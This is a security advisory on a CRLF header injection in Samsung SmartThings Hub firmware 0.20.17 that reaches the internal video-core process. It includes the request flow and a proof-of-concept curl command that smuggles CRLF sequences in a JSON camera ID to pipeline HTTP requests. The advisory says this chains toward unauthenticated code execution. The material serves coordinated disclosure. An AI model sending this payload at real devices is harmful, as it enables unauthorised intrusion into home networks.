### Summary
An exploitable HTTP header injection vulnerability exists in the remote
servers of Samsung SmartThings Hub. The `hubCore` process listens on
port 39500 and relays any unauthenticated message to SmartThings' remote
servers, which insecurely handle JSON messages, leading to partially
controlled requests generated toward the internal `video-core` process.
An attacker can send an HTTP request to trigger this vulnerability.
### Tested Versions
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
### Product URLs
[https://www.smartthings.com/products/smartthings-hub](https://www.smartthings.com/products/smartthings-hub)
### CVSSv3 Score
8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
### CWE
CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
('HTTP Response Splitting')
### Details
Samsung produces a series of devices aimed at controlling and monitoring
a home, such as wall switches, LED bulbs, thermostats and cameras. One
of those is the Samsung SmartThings Hub, a central controller which
allows an end user to use their smartphone to connect to their house
remotely and operate other devices through it. The hub board utilizes
several systems on chips. The firmware in question is executed by an
i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A
architecture.
The firmware is Linux-based, and runs a series of daemons that interface
with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth
protocols. Additionally, the `hubCore` process is responsible for
communicating with the remote SmartThings servers via a persistent TLS
connection. These servers act as a bridge that allows for secure
communication between the smartphone application and the hub. End users
can simply install the SmartThings mobile application on their
smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras,
configures them and looks at their livestreams. For testing, we set up
the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream
can be displayed by the smartphone application by connecting either to
the remote SmartThings servers, or directly to the camera, if they're
both in the same subnetwork.
Inside the hub, the livestream is handled by the `video-core` process,
which uses `ffmpeg` to connect via RTSP to the smart camera in its same
local network, and at the same time, provides a streamable link for the
smartphone application.
The remote SmartThings servers have the possibility to communicate with
the `video-core` process by sending messages in the persistent TLS
connection, established by the `hubCore` process. These messages can
encapsulate an HTTP request, which `hubCore` would relay directly to the
HTTP server exposed by `video-core`. The HTTP server listens on port
3000, bound to the localhost address, so a local connection is needed to
perform this request.
While analyzing the `video-core` process, we identified the following
traffic on port 39500, generated by `video-core` when requesting the
"/sync" path [1]:
[1] sync request
$ curl "http://127.0.0.1:3000/sync"
[2] video-core -> 127.0.0.1:39500 (hubCore)
POST /videocore HTTP/1.1
Host: 127.0.0.1:39500
Accept: */*
Content-Type: application/json
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
Content-Length: 82
{"videoRequestType":"sync","cameraIds" : ["<camera-id1>", "<camera-id2>"]}
[3] hubCore -> SmartThings server (dc.connect.smartthings.com:443)
< sends a message embedding the HTTP request above >
[4] SmartThings server (dc.connect.smartthings.com:443) -> hubCore
< sends a message embedding the following HTTP response >
HTTP/1.1 202 ACCEPTED
Connection: close
[5] 127.0.0.1:39500 (hubCore) -> video-core
< forwards the HTTP response above >
The `hubCore` process listens on port 39500, bound to "0.0.0.0", and
simply forwards the HTTP request [2] to the remote Samsung SmartThings
servers [3], which answer with [4]. The answer is finally forwarded back
to the client [5]. Note that being `hubCore` bound to "0.0.0.0", request
[1] could be omitted and request [2] could be initiated by anyone in the
network, without any prior authentication.
In essence, the "sync" request [1] is used to make sure that the remote
servers and `video-core`'s internal database are synchronized. All
camera IDs known by `video-core` are included in the JSON string, and if
`video-core` contains a "camera-id" which doesn't exist in the remote
servers, it will be deleted. Continuing on the example, if "camera-id2"
is not found by the remote servers, the following traffic can be seen:
[6] SmartThings server (dc.connect.smartthings.com:443) -> hubCore
< sends a message embedding the following HTTP request >
DELETE /cameras/<camera-id2> HTTP/1.1
Accept: */*
User-Agent: Linux UPnP/1.0 SmartThings
Content-Type: application/json
Connection: Close
Host: 127.0.0.1:3000
[7] hubCore -> 127.0.0.1:3000 (video-core)
< forwards the HTTP request above >
[8] 127.0.0.1:3000 (video-core) -> hubCore
HTTP/1.1 204 No Content
Server: Video-Core
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
Connection: close
Content-Length: 0
Request [6] is sent by the remote Samsung SmartThings servers over the
persistent TLS connection, and is thus received by the `hubCore`
process, which blindly forwards it to `video-core`'s HTTP server on port
3000 [7]. Request [8] is simply the answer of `video-core` to the
"DELETE" request.
To summarize, the flow of events when a deletion is going to take place
is:
|______Sender______|___________________Hub___________________|___SmartThings Servers___
| | |
[2] | sync request ---|--> hubCore:39500 |
| with JSON M1 | |
[3] | | hubCore sends --|--> process JSON M1
| | JSON M1 |
| | |
[4] | | hubCore <--|--- send HTTP response
| | | M2 (ACCEPTED)
[5] | terminate <--|--- hubCore:39500 |
| connection | forwards M2 |
| | |
[6] | | hubCore <--|--- generate and send
| | | HTTP request M3
| | | |
[7] | | video-core:3000 <--|--- hubCore sends |
| | | HTTP request M3 |
| | | |
[8] | | video-core:3000 ---|--> hubCore |
| | | |
Where "Sender" can either be the hub itself (that is `video-core`, as
shown in request [2]) or anyone in the network.
As we can see, a portion of request [2] is included in request [6]: the
`<camera-id2>`. In fact, it is first present in message M1, and is then
propagated till `video-core` where it is sent inside M3.
Moreover, we noticed that the remote server is subject to a header
injection vulnerability when building the HTTP request M3 from the JSON
M1. Specifically, the JSON string M1 allows for any character to be
included, so it is possible to send CRLF sequences (or their escaped
counterpart, for example "\\r\\n" or "\\u000d\\u000a") in the
"camera-id2" element. These characters are not stripped when creating
the request M3, hence it gives the opportunity to arbitrarily modify the
HTTP request sent to `video-core`, except for the "DELETE /cameras/"
prefix, which will always be present.
Nevertheless, by using CRLF sequences, this bug allows for injecting
pipelined HTTP requests, which can be exploited using TALOS-2018-0577.
Moreover, as described in TALOS-2018-0577, it is possible to further use
TALOS-2018-0573 to achieve an arbitrary code execution from the network,
without authentication.
### Exploit Proof of Concept
The following proof of concept shows how to send a pipelined HTTP
request to the `video-core` process, which can be further exploited
using TALOS-2018-0577.
$ curl -vv -i -X POST "http://${hubIP}:39500/videocore" -d '{"videoRequestType":"sync","cameraIds" : ["1234 HTTP/1.1\u000d\u000a\u000d\u000aGET /\u000d\u000a\u000d\u000a"]}'
The request received by `video-core` is:
DELETE /cameras/1234 HTTP/1.1
GET /
HTTP/1.1
Accept: */*
User-Agent: Linux UPnP/1.0 SmartThings
Content-Type: application/json
Connection: Close
Host: 127.0.0.1:3000
### Timeline
* 2018-04-19 - Vendor Disclosure
* 2018-05-23 - Discussion with vendor/review of timeline for disclosure
* 2018-07-17 - Vendor patched
* 2018-07-26 - Public Release
暂无评论